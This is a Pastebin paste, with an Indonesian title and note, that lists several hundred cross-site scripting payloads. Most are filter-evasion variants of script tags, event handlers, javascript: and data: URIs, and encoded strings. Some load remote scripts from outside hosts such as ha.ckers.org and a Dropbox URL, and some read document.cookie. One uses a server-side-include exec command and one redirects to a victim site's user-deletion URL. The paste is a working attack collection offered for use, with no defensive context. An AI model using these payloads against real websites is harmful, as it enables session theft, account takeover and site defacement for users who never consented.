RokiAdhytama

Kumpulan Payload XSS

Jun 14th, 2019
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.56 KB | None | 0 0
  1. String Explode
  2.  
  3. '> | "> | --><!-- x -->
  4.  
  5. Note simbol � diganti dengan simbol ini "
  6.  
  7. <script>alert(123);</script>
  8. <ScRipT>alert("XSS");</ScRipT>
  9. <script>alert(123)</script>
  10. <script>alert("hellox worldss");</script>
  11. <script>alert("XSS")</script>
  12. <script>alert("XSS");</script>
  13. <script>alert("XSS")</script>
  14. �><script>alert(�XSS�)</script>
  15. <script>alert(/XSS�)</script>
  16. <script>alert(/XSS/)</script>
  17. </script><script>alert(1)</script>
  18. �; alert(1);
  19. �)alert(1);//
  20. <ScRiPt>alert(1)</sCriPt>
  21. <IMG SRC=jAVasCrIPt:alert(�XSS�)>
  22. <IMG SRC=�javascript:alert(�XSS�);�>
  23. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  24. <IMG SRC=javascript:alert(�XSS�)>
  25. <img src=xss onerror=alert(1)>
  26.  
  27.  
  28. <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
  29.  
  30. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  31.  
  32. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  33.  
  34. <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
  35.  
  36. <img/src=`%00` onerror=this.onerror=confirm(1)
  37.  
  38. <form><isindex formaction="javascript&colon;confirm(1)"
  39.  
  40. <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
  41.  
  42. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  43.  
  44. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  45.  
  46. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  47.  
  48. <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
  49.  
  50. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
  51.  
  52. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  53.  
  54. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  55.  
  56. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  57.  
  58. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  59.  
  60. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  61. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  62.  
  63. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  64.  
  65. </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
  66. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  67. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  68.  
  69. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  70.  
  71. http://www.google<script .com>alert(document.location)</script
  72.  
  73. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  74.  
  75. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  76.  
  77. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  78.  
  79. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  80.  
  81. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  82.  
  83. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  84.  
  85. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  86.  
  87. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  88.  
  89. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  90.  
  91. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  92.  
  93. <script ~~~>alert(0%0)</script ~~~>
  94.  
  95. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  96.  
  97. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  98.  
  99. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  100.  
  101. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  102.  
  103. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  104.  
  105. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  106.  
  107. <div/style="width:expression(confirm(1))">X</div> {IE7}
  108.  
  109. <iframe/%00/ src=javaSCRIPT&colon;alert(1)
  110.  
  111. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  112.  
  113. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  114.  
  115. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  116.  
  117. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  118.  
  119. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  120.  
  121. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  122.  
  123. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  124.  
  125. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  126.  
  127. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  128.  
  129. <iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  130.  
  131. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  132.  
  133. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  134.  
  135. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  136.  
  137. <var onmouseover="prompt(1)">On Mouse Over</var>
  138.  
  139. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  140.  
  141. <img src="/" =_=" title="onerror='prompt(1)'">
  142.  
  143. <%<!--'%><script>alert(1);</script -->
  144.  
  145. <script src="data:text/javascript,alert(1)"></script>
  146. <iframe/src \/\/onload = prompt(1)
  147.  
  148. <iframe/onreadystatechange=alert(1)
  149.  
  150. <svg/onload=alert(1)
  151.  
  152. <input value=<><iframe/src=javascript:confirm(1)
  153.  
  154. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  155.  
  156. http://www.<script>alert(1)</script .com
  157.  
  158. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  159.  
  160. <svg><script ?>alert(1)
  161.  
  162. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  163.  
  164. <img src=`xx:xx`onerror=alert(1)>
  165.  
  166. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  167. <math><a xlink:href="//jsfiddle.net/t846h/">click
  168.  
  169. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  170. <svg contentScriptType=text/vbs><script>MsgBox+1
  171.  
  172. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  173.  
  174. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  175.  
  176. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  177.  
  178. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  179. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  180.  
  181. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  182.  
  183. <script>+-+-1-+-+alert(1)</script>
  184.  
  185. <body/onload=&lt;!--&gt;&#10alert(1)>
  186.  
  187. <script itworksinallbrowsers>/*<script* */alert(1)</script
  188.  
  189. <img src ?itworksonchrome?\/onerror = alert(1)
  190.  
  191. <svg><script>//&NewLine;confirm(1);</script </svg>
  192. <svg><script onlypossibleinopera:-)> alert(1)
  193.  
  194. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  195.  
  196. <script x> alert(1) </script 1=2
  197.  
  198. <div/onmouseover='alert(1)'> style="x:">
  199.  
  200. <--`<img/src=` onerror=alert(1)> --!>
  201. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  202.  
  203. <div style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  204.  
  205. "><img src=x onerror=window.open('https://www.google.com/');>
  206.  
  207. <form><button formaction=javascript&colon;alert(1)>CLICKME
  208.  
  209. <math><a xlink:href="//jsfiddle.net/t846h/">click
  210.  
  211. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  212.  
  213. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  214.  
  215. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  216.  
  217. <SCRIPT>String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)</SCRIPT>
  218. �;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�;alert(String.fromCharCode(88,83,83))//�></SCRIPT>�>�><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  219. <IMG ���><SCRIPT>alert(�XSS�)</SCRIPT>�>
  220. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  221. <IMG SRC=�jav ascript:alert(�XSS�);�>
  222. <IMG SRC=�jav&#x09;ascript:alert(�XSS�);�>
  223. <<SCRIPT>alert(�XSS�);//<</SCRIPT>
  224. %253cscript%253ealert(1)%253c/script%253e
  225. �><s�%2b�cript>alert(document.cookie)</script>
  226. foo<script>alert(1)</script>
  227. <scr<script>ipt>alert(1)</scr</script>ipt>
  228. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  229. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  230. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  231. <BODY BACKGROUND=�javascript:alert(�XSS�)�>
  232. <BODY ONLOAD=alert(�XSS�)>
  233. <INPUT TYPE=�IMAGE� SRC=�javascript:alert(�XSS�);�>
  234. <IMG SRC=�javascript:alert(�XSS�)�
  235. <iframe src=http://ha.ckers.org/scriptlet.html <
  236. javascript:alert("hellox worldss")
  237. <img src="javascript:alert('XSS');">
  238. <img src=javascript:alert(&quot;XSS&quot;)>
  239. <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  240. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  241. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  242. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  243. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  244. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  245. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  246. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  247. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  248. <<SCRIPT>alert("XSS");//<</SCRIPT>
  249. <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  250. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))<?/SCRIPT>&submit.x=27&submit.y=9&cmd=search
  251. <script>alert("hellox worldss")</script>&safe=high&cx=006665157904466893121:su_tzknyxug&cof=FORID:9#510
  252. <script>alert("XSS");</script>&search=1
  253. 0&q=';alert(String.fromCharCode(88,83,83))//\';alert%2?8String.fromCharCode(88,83,83))//";alert(String.fromCharCode?(88,83,83))//\";alert(String.fromCharCode(88,83,83)%?29//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83%?2C83))</SCRIPT>&submit-frmGoogleWeb=Web+Search
  254. <h1><font color=blue>hellox worldss</h1>
  255. <BODY ONLOAD=alert('hellox worldss')>
  256. <input onfocus=write(XSS) autofocus>
  257. <input onblur=write(XSS) autofocus><input autofocus>
  258. <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
  259. <form><button formaction="javascript:alert(XSS)">lol
  260. <!--<img src="--><img src=x onerror=alert(XSS)//">
  261. <![><img src="]><img src=x onerror=alert(XSS)//">
  262. <style><img src="</style><img src=x onerror=alert(XSS)//">
  263. <? foo="><script>alert(1)</script>">
  264. <! foo="><script>alert(1)</script>">
  265. </ foo="><script>alert(1)</script>">
  266. <? foo="><x foo='?><script>alert(1)</script>'>">
  267. <! foo="[[[Inception]]"><x foo="]foo><script>alert(1)</script>">
  268. <% foo><x foo="%><script>alert(123)</script>">
  269. <div style="font-family:'foo&#10;;color:red;';">LOL
  270. LOL<style>*{/*all*/color/*all*/:/*all*/red/*all*/;/[0]*IE,Safari*[0]/color:green;color:bl/*IE*/ue;}</style>
  271. <script>({0:#0=alert/#0#/#0#(0)})</script>
  272. <svg xmlns="http://www.w3.org/2000/svg">LOL<script>alert(123)</script></svg>
  273. &lt;SCRIPT&gt;alert(/XSS/&#46;source)&lt;/SCRIPT&gt;
  274. \\";alert('XSS');//
  275. &lt;/TITLE&gt;&lt;SCRIPT&gt;alert(\"XSS\");&lt;/SCRIPT&gt;
  276. &lt;INPUT TYPE=\"IMAGE\" SRC=\"javascript&#058;alert('XSS');\"&gt;
  277. &lt;BODY BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
  278. &lt;BODY ONLOAD=alert('XSS')&gt;
  279. &lt;IMG DYNSRC=\"javascript&#058;alert('XSS')\"&gt;
  280. &lt;IMG LOWSRC=\"javascript&#058;alert('XSS')\"&gt;
  281. &lt;BGSOUND SRC=\"javascript&#058;alert('XSS');\"&gt;
  282. &lt;BR SIZE=\"&{alert('XSS')}\"&gt;
  283. &lt;LAYER SRC=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/LAYER&gt;
  284. &lt;LINK REL=\"stylesheet\" HREF=\"javascript&#058;alert('XSS');\"&gt;
  285. &lt;LINK REL=\"stylesheet\" HREF=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;css\"&gt;
  286. &lt;STYLE&gt;@import'http&#58;//ha&#46;ckers&#46;org/xss&#46;css';&lt;/STYLE&gt;
  287. &lt;META HTTP-EQUIV=\"Link\" Content=\"&lt;http&#58;//ha&#46;ckers&#46;org/xss&#46;css&gt;; REL=stylesheet\"&gt;
  288. &lt;STYLE&gt;BODY{-moz-binding&#58;url(\"http&#58;//ha&#46;ckers&#46;org/xssmoz&#46;xml#xss\")}&lt;/STYLE&gt;
  289. &lt;XSS STYLE=\"behavior&#58; url(xss&#46;htc);\"&gt;
  290. &lt;STYLE&gt;li {list-style-image&#58; url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS
  291. &lt;IMG SRC='vbscript&#058;msgbox(\"XSS\")'&gt;
  292. &lt;IMG SRC=\"mocha&#58;&#91;code&#93;\"&gt;
  293. &lt;IMG SRC=\"livescript&#058;&#91;code&#93;\"&gt;
  294. �scriptualert(EXSSE)�/scriptu
  295. &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript&#058;alert('XSS');\"&gt;
  296. &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data&#58;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\"&gt;
  297. &lt;META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http&#58;//;URL=javascript&#058;alert('XSS');\"
  298. &lt;IFRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/IFRAME&gt;
  299. &lt;FRAMESET&gt;&lt;FRAME SRC=\"javascript&#058;alert('XSS');\"&gt;&lt;/FRAMESET&gt;
  300. &lt;TABLE BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
  301. &lt;TABLE&gt;&lt;TD BACKGROUND=\"javascript&#058;alert('XSS')\"&gt;
  302. &lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
  303. &lt;DIV STYLE=\"background-image&#58;\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028&#46;1027\0058&#46;1053\0053\0027\0029'\0029\"&gt;
  304. &lt;DIV STYLE=\"background-image&#58; url(javascript&#058;alert('XSS'))\"&gt;
  305. &lt;DIV STYLE=\"width&#58; expression(alert('XSS'));\"&gt;
  306. &lt;STYLE&gt;@im\port'\ja\vasc\ript&#58;alert(\"XSS\")';&lt;/STYLE&gt;
  307. &lt;IMG STYLE=\"xss&#58;expr/*XSS*/ession(alert('XSS'))\"&gt;
  308. &lt;XSS STYLE=\"xss&#58;expression(alert('XSS'))\"&gt;
  309. exp/*&lt;A STYLE='no\xss&#58;noxss(\"*//*\");
  310. xss&#58;ex&#x2F;*XSS*//*/*/pression(alert(\"XSS\"))'&gt;
  311. &lt;STYLE TYPE=\"text/javascript\"&gt;alert('XSS');&lt;/STYLE&gt;
  312. &lt;STYLE&gt;&#46;XSS{background-image&#58;url(\"javascript&#058;alert('XSS')\");}&lt;/STYLE&gt;&lt;A CLASS=XSS&gt;&lt;/A&gt;
  313. &lt;STYLE type=\"text/css\"&gt;BODY{background&#58;url(\"javascript&#058;alert('XSS')\")}&lt;/STYLE&gt;
  314. &lt;!--&#91;if gte IE 4&#93;&gt;
  315. &lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;
  316. &lt;!&#91;endif&#93;--&gt;
  317. &lt;BASE HREF=\"javascript&#058;alert('XSS');//\"&gt;
  318. &lt;OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html\"&gt;&lt;/OBJECT&gt;
  319. &lt;OBJECT classid=clsid&#58;ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript&#058;alert('XSS')&gt;&lt;/OBJECT&gt;
  320. &lt;EMBED SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;swf\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
  321. &lt;EMBED SRC=\"data&#58;image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"&gt;&lt;/EMBED&gt;
  322. a=\"get\";
  323. b=\"URL(\\"\";
  324. c=\"javascript&#058;\";
  325. d=\"alert('XSS');\\")\";
  326. eval(a+b+c+d);
  327. &lt;HTML xmlns&#58;xss&gt;&lt;?import namespace=\"xss\" implementation=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;htc\"&gt;&lt;xss&#58;xss&gt;XSS&lt;/xss&#58;xss&gt;&lt;/HTML&gt;
  328. &lt;XML ID=I&gt;&lt;X&gt;&lt;C&gt;&lt;!&#91;CDATA&#91;&lt;IMG SRC=\"javas&#93;&#93;&gt;&lt;!&#91;CDATA&#91;cript&#58;alert('XSS');\"&gt;&#93;&#93;&gt;
  329. &lt;/C&gt;&lt;/X&gt;&lt;/xml&gt;&lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
  330. &lt;XML ID=\"xss\"&gt;&lt;I&gt;&lt;B&gt;&lt;IMG SRC=\"javas&lt;!-- --&gt;cript&#58;alert('XSS')\"&gt;&lt;/B&gt;&lt;/I&gt;&lt;/XML&gt;
  331. &lt;SPAN DATASRC=\"#xss\" DATAFLD=\"B\" DATAFORMATAS=\"HTML\"&gt;&lt;/SPAN&gt;
  332. &lt;XML SRC=\"xsstest&#46;xml\" ID=I&gt;&lt;/XML&gt;
  333. &lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&gt;&lt;/SPAN&gt;
  334. &lt;HTML&gt;&lt;BODY&gt;
  335. &lt;?xml&#58;namespace prefix=\"t\" ns=\"urn&#58;schemas-microsoft-com&#58;time\"&gt;
  336. &lt;?import namespace=\"t\" implementation=\"#default#time2\"&gt;
  337. &lt;t&#58;set attributeName=\"innerHTML\" to=\"XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;\"&gt;
  338. &lt;/BODY&gt;&lt;/HTML&gt;
  339. &lt;SCRIPT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;jpg\"&gt;&lt;/SCRIPT&gt;
  340. &lt;!--#exec cmd=\"/bin/echo '&lt;SCR'\"--&gt;&lt;!--#exec cmd=\"/bin/echo 'IPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;'\"--&gt;
  341. &lt;? echo('&lt;SCR)';
  342. echo('IPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;'); ?&gt;
  343. &lt;IMG SRC=\"http&#58;//www&#46;thesiteyouareon&#46;com/somecommand&#46;php?somevariables=maliciouscode\"&gt;
  344. Redirect 302 /a&#46;jpg http&#58;//victimsite&#46;com/admin&#46;asp&deleteuser
  345. &lt;META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\"&gt;
  346. &lt;HEAD&gt;&lt;META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"&gt; &lt;/HEAD&gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  347. &lt;SCRIPT a=\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  348. &lt;SCRIPT =\"&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  349. &lt;SCRIPT a=\"&gt;\" '' SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  350. &lt;SCRIPT \"a='&gt;'\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  351. &lt;SCRIPT a=`&gt;` SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  352. &lt;SCRIPT a=\"&gt;'&gt;\" SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  353. &lt;SCRIPT&gt;document&#46;write(\"&lt;SCRI\");&lt;/SCRIPT&gt;PT SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
  354. &lt;A HREF=\"http&#58;//66&#46;102&#46;7&#46;147/\"&gt;XSS&lt;/A&gt;
  355. &lt;A HREF=\"http&#58;//%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\"&gt;XSS&lt;/A&gt;
  356. &lt;A HREF=\"http&#58;//1113982867/\"&gt;XSS&lt;/A&gt;
  357. &lt;A HREF=\"http&#58;//0x42&#46;0x0000066&#46;0x7&#46;0x93/\"&gt;XSS&lt;/A&gt;
  358. &lt;A HREF=\"http&#58;//0102&#46;0146&#46;0007&#46;00000223/\"&gt;XSS&lt;/A&gt;
  359. &lt;A HREF=\"htt p&#58;//6 6&#46;000146&#46;0x7&#46;147/\"&gt;XSS&lt;/A&gt;
  360. &lt;A HREF=\"//www&#46;google&#46;com/\"&gt;XSS&lt;/A&gt;
  361. &lt;A HREF=\"//google\"&gt;XSS&lt;/A&gt;
  362. &lt;A HREF=\"http&#58;//ha&#46;ckers&#46;org@google\"&gt;XSS&lt;/A&gt;
  363. &lt;A HREF=\"http&#58;//google&#58;ha&#46;ckers&#46;org\"&gt;XSS&lt;/A&gt;
  364. &lt;A HREF=\"http&#58;//google&#46;com/\"&gt;XSS&lt;/A&gt;
  365. &lt;A HREF=\"http&#58;//www&#46;google&#46;com&#46;/\"&gt;XSS&lt;/A&gt;
